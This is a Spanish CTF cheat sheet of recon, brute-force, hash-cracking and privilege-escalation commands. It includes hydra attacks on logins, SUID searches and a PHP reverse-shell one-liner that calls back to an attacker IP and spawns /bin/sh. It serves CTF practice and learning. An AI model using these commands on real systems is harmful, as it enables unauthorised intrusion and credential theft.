Herramientas útiles para afrontar CTF.
Instalación: https://github.com/brainfucksec/kalitorify
Iniciar kalitorify sobre proxy tor:
sudo kalitorify -t
Verificar IP pública a la cual estamos conectados:
wget -qO- http://ipecho.net/plain | xargs echo
curl ip.me
curl ifconfig.me
curl https://distguard.com/ip.php
Ejemplos:
netdiscover -i <INTERFACE> //Para redes comunes en una interface de red específica (Ejemplo: eth0).
netdiscover -r 192.168.1.0/24 //Para escanear un rango dentro de una red específica (CIDR).
Análisis y descubrimiento de servicios y puertos.
Ejemplos:
Detección de servicios standard
nmap -sC -sV 192.168.1.110
Detección de servicios con vulnerabilidades
nmap -sV -vv --script vuln 192.168.1.110
Enumeración de directorios SAMBA
nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 192.168.1.110
nmap -p 139 --script=smb-enum-shares.nse,smb-enum-users.nse 192.168.1.110
for PORT in 1111 2222 3333 4444; do nc -vz 192.168.1.110 $PORT; done;
Análisis y descubrimiento de recursos compartidos vía SMB
enum4linux -U 192.168.1.110 Usuarios.
enum4linux -S 192.168.1.110 Listas compartidas.
enum4linux -P 192.168.1.110 Política de contraseñas.
Web
https://www.nmmapper.com/sys/tools/subdomainfinder/
Herramientas incluidas en Kali/ParrotOS
amass enum -passive -d dominio.com -src (OWASP Tool)
sublist3r -d dominio.com
Web
https://who.is/whois
Herramientas incluidas en Kali/ParrotOS
whois dominio.com
Detección de directorios y archivos con la ayuda de un diccionario
gobuster dir -u http://192.168.1.110/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,old,bak,bin
Permite injectar diversas entradas en solicitudes HTTP con la ayuda de un diccionario (fuerza bruta)
wfuzz -c -z file,/usr/share/wordlists/FuzzList.txt http://10.10.116.130/api/page.php?parameter=FUZZ
Reconocimiento de recursos compartidos SMB
smbclient //192.168.1.110/shared_folder -U user_name (Conexión con credenciales)
smbclient //192.168.1.110/anonymous (Conexión a directorios anónimos)
http-post-form
hydra -l molly -P /usr/share/wordlists/rockyou.txt 192.168.1.110 http-post-form "/login.php:username=^USER^&password=^PASS^&Login=Login:Login Failed” -t 64 -V
ssh
hydra -l molly -P /usr/share/wordlists/rockyou.txt 192.168.1.110 -t 4 ssh
ftp
hydra -l chris -P /usr/share/wordlists/rockyou.txt 10.10.70.92 ftp
Lista de modos (algoritmos) a escanear: https://hashcat.net/wiki/doku.php?id=example_hashes
# 0 para MD5
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
git clone https://github.com/BlackArch/wordlistctl
python3 wordlistctl.py search word_to_search
python3 wordlistctl.py fetch wordlist_to_download
Download wordlists ...
gunzip file.gz <- En caso que el archivo esté comprimido
git clone https://github.com/sc0tfree/mentalist
sudo apt-get install python3-tk python3-pip
python3 setup.py install
mentalist
Codificación de URL para crear cargas útiles (payloads)
https://www.w3schools.com/tags/ref_urlencode.ASP
John The Ripper (https://null-byte.wonderhowto.com/forum/cracking-passwords-using-john-ripper-0181420/)
Crack de hash sin especificar tipo de codificación
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Crack de archivos zip con clave
zip2john archivo.zip > hash.txt
john hash.txt
Formatos John
https://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats
Ejemplos:
Inicar WebServer
python3 -m http.server 12345
https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
Descargar y editar (IP y Puerto)
https://github.com/josueitamar/php-reverse-shell/blob/master/php-reverse-shell.php
php -r ‘$sock=fsockopen(“10.8.116.182”,1234);exec(“/bin/sh -i <&3 >&3 2>&3”);’ // Para ejecución en textbox php
Configurar puerto escucha en netcat
nc -lnvp 4444
Estabilizar una terminal interactiva
-Python
export TERM=xterm
python3 -c "import pty;pty.spawn('/bin/bash')"
https://d00mfist.gitbooks.io/ctf/content/privilege_escalation_-_linux.html
Útil para escalar privilegios cuando ya se tiene un usuario comprometido satisfactoriamente
- Descargar
- Montar en maquina destino (atacada)
- Montar un webserver y wget, o copiar con editor de texto
- Ceder permisos de ejecución
- chmod +x LinEnum.sh
- Ejecutar y guarda resultadoa para su respectivo análisis
- ./LinEnum > Result.txt
Listar comandos permitidos para el usuario activo
sudo -l
Repositorio de binarios Unix utiles para escalar privilegios
Buscar archivos que son propiedad de root y tienen al menos el permiso SUID:
find / -perm -u=s -type f 2>/dev/null
find / -type f -perm -4000 2> /dev/null
find / -type f -perm -4000 -exec ls -l {} \; 2> /dev/null (Verificar propiedad de archivos)
##Busqueda de archivos
FIND
find / -type f -name "*.sql" <- Con extensión específica
find /home/user/ -type f -user User_Name <- archivos propiedad de un usuario específico
find /home/user/ -type f -size 52c <- archivos con un tamaño de bytes específico
find /home/user/ -type f -newermt 2021-12-24 ! -newermt 2021-12-26 <- archivos en un rango de fechas
GREP
grep -iRl "words_to_search" /home /usr 2> /dev/null <- archivos con similitud de palabras en directorios específicos
https://github.com/bannsec/stegoVeritas
https://github.com/StefanoDeVuono/steghide
https://github.com/Paradoxis/StegCracker
https://www.tunnelsup.com/hash-analyzer/
https://www.onlinehashcrack.com/hash-identification.php
https://md5hashing.net/hash_type_checker
https://hashes.com/en/tools/hash_identifier
https://hashes.com/en/decrypt/hash